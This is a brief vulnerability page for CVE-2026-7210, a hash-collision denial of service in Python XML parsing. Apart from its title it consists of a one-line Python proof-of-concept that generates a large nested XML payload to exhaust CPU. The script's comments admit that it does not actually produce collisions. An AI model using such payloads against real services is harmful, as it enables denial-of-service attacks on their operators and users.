CVE-2026-7210 Python XML解析哈希冲突DoS漏洞

import xml.etree.ElementTree as ET import sys # Simulate a crafted XML payload designed to trigger hash collisions # Note: Actual collision generation depends on predicting the weak salt. # This PoC demonstrates the parsing of a complex structure. def generate_malicious_xml(depth, breadth): """ Generates a deeply nested and broad XML structure. In a real exploit, attribute names would be specifically chosen to collide based on the insufficient entropy. """ root = ET.Element("root") current_level = root # Create a wide structure to stress the hash table for i in range(breadth): # Using attribute names that might be candidates for collision attr_name = f"attrib_{i}" current_level.set(attr_name, "value" * 10) # Create depth for i in range(depth): child = ET.SubElement(current_level, f"level_{i}") for j in range(breadth): child.set(f"attr_{j}", "val") current_level = child return ET.tostring(root, encoding='unicode') if __name__ == "__main__": # Adjust these numbers to increase CPU load payload = generate_malicious_xml(depth=100, breadth=500) try: print("Starting parsing of crafted XML...") # Parsing this payload on a vulnerable system may cause high CPU usage ET.fromstring(payload) print("Parsing completed.") except Exception as e: print(f"Error during parsing: {e}")